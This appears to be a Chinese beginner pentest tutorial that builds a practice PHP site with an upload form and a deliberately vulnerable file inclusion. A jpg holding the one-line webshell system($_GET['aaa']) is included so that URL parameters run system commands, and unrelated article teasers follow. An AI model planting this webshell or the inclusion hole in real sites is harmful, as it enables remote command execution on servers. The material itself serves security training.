渗透测试入门学习——php文件上传与文件包含

ops/2024/9/25 2:25:17/
最终效果:

提前在网站根目录创建upload目录:

主页面(文件名为file.php):
php"><html>
<head><meta charset="utf-8"><title>php文件相关练习</title>
</head><h1>php文件相关练习</h1><hr>
<?php//文件包含include或者requirerequire 'content_1.txt';echo $content_test;
?><hr>
<?phpecho "jpg文件包含一句话木马",'<br>';echo "产生空值报错为正常,url中传入?aaa=dir或是=ipconfig即可getshell",'<br>';require 'content_2.jpg'//文件包含存在漏洞,可上传jpg文件或是其他文件然后用包含漏洞打开执行//文件包含的另一种形式,包含POST或GET传入文件//include $_GET['file1'];//require $_POST['file2'];
?><hr>
<form action="#" method="post" enctype="multipart/form-data"><label for="file">文件名:<input type="file" name="file" id="file"><input type="submit" name="submint" value="提交">
</form><?php$allow_list = array("gif", "jpeg", "jpg", "png");           //上传文件后缀(类型)白名单$file_name = explode(".",$_FILES["file"]["name"]);          //explode()函数,将字符串以第一个参数“.”为标志分隔开成为数组$file_type = end($file_name);                               //获取数组最后的元素,确保为最后的元素以免出现识别test.php.jpg这样的文件时出现文件后缀识别错误的bugif((($_FILES["file"]["type"] == "image/gif")                //初步判断上传的文件是不是图片类型|| ($_FILES["file"]["type"] == "image/jpeg")                //六种常见的文件类型|| ($_FILES["file"]["type"] == "image/jpg")|| ($_FILES["file"]["type"] == "image/pjpeg")|| ($_FILES["file"]["type"] == "image/x-png")|| ($_FILES["file"]["type"] == "image/png"))&& ($_FILES["file"]["size"] <= 204800)                      //大小不超过200kb&& in_array($file_type, $allow_list)){                      //文件后缀(类型)需要在白名单中echo "格式正确".'<br>';if($_FILES["file"]["error"] > 0){echo "传输失败";}else{echo "文件名".$_FILES["file"]["name"]."<br>";echo "文件类型".$_FILES["file"]["type"]."<br>";echo "文件大小".$_FILES["file"]["size"]."<br>";echo "文件临时位置".$_FILES["file"]["tmp_name"]."<br>";echo "传输成功<br>";if(file_exists("upload/".$_FILES["file"]["name"])){//判断upload是否存在上传的文件echo $_FILES["file"]["name"]."文件已存在";}else{move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);//将上传的文件移动到新位置echo "文件已经存储在:"."upload/".$_FILES["file"]["name"];}}}else{if(empty($_FILES)){echo "还未上传任何文件";}else {echo "非法的文件格式";}}
?>
</html>
被包含的txt文件(文件名为content_1.txt):
php"><?php$content_test = 555;
?>
被包含的jpg文件(文件名为content_2.jpg):

命名为content_2.php编辑好后再将后缀改为.jpg,内容为一句话木马

php"><?phpsystem($_GET['aaa']);
?>

http://www.ppmy.cn/ops/115570.html

相关文章

828华为云征文——使用Flexus云服务器X实例CentOS镜像下创建MySQL服务器教程

一、概述 1.1 前言 当前正值华为云盛大的828 B2B企业庆典&#xff0c;其中Flexus X实例的特惠活动尤为吸引人眼球。对于追求极致算力表现&#xff0c;并期望在自建MySQL数据库、Redis缓存系统及Nginx服务器部署上获得卓越性能的企业用户而言&#xff0c;这无疑是一个不可多得的…

C++【类和对象】(构造函数与析构函数)

文章目录 1. 类的默认成员函数2. 构造函数析构函数的特点3. 析构函数析构函数的特点 结语 1. 类的默认成员函数 默认成员对象就是我们没有显示的写&#xff0c;但是编译器会自动生成的成员函数。一个类&#xff0c;我们不写的情况下编译器会默认生成以下6个成员函数&#xff0…

Docker安装 ▎Docker详细讲解 ▎数据卷挂载 ▎Nginx安装理解

前言 Docker是一种容器化技术&#xff0c;简化软件的部署和管理。文章详细解释了Docker的架构、安装步骤和常用命令&#xff0c;帮助用户快速启动和管理容器。还介绍了Docker镜像命令和数据卷挂载的实例&#xff0c;增强对持久化存储的理解&#xff0c;并涵盖了Nginx的安装方法…

NLP 主流应用方向

主流应用 文本分类文本匹配序列标注生成式任务 应用细分 常见落地应用举例&#xff1a; 文本纠错句法分析文本翻译话者分离 本质为文本分类任务数字归一化 实现数字映射&#xff0c;提高内容可读性 如将一九九九转1999

Golang | Leetcode Golang题解之第412题Fizz Buzz

题目&#xff1a; 题解&#xff1a; func fizzBuzz(n int) (ans []string) {for i : 1; i < n; i {sb : &strings.Builder{}if i%3 0 {sb.WriteString("Fizz")}if i%5 0 {sb.WriteString("Buzz")}if sb.Len() 0 {sb.WriteString(strconv.Itoa(i…

SpringBoot框架之KOB项目 - 配置Mysql与注册登录模块(中)

修改Spring Security 登录验证模式 传统的验证登录模式 公开页面&#xff1a;输入url就可以直接访问授权页面&#xff1a;登录之后才可以访问 Jwt验证模式 容易实现跨域不需要在服务器端存储 对比于传统模式将所有的sessionId换成jwt token access token refresh token 过…

代码随想录算法训练营| 454.四数相加II 、 383. 赎金信 、 15. 三数之和 、 18. 四数之和

454.四数相加II 题目 参考文章 思路&#xff1a;设置一个map&#xff0c;用于存储nums1和nums2中相加的和的值以及出现的次数&#xff0c;因为由题目可以知道abcd0&#xff0c;即ab0-(cd)&#xff0c;所以遍历nums3和nums4时&#xff0c;看看其中元素的和是否在map中出现过&a…

一六九、go使用泛型封装一个可以应用于任何字段的模糊匹配

需求 针对 json数据里的user_name进行模糊搜索&#xff0c;返回匹配的列 参考数据 [{"id": 122,"name": "sgm_info40_b233 5.5_plus","logo": "https://bj.bcebos.com/v1/iov-recom/car_default.png","user_name"…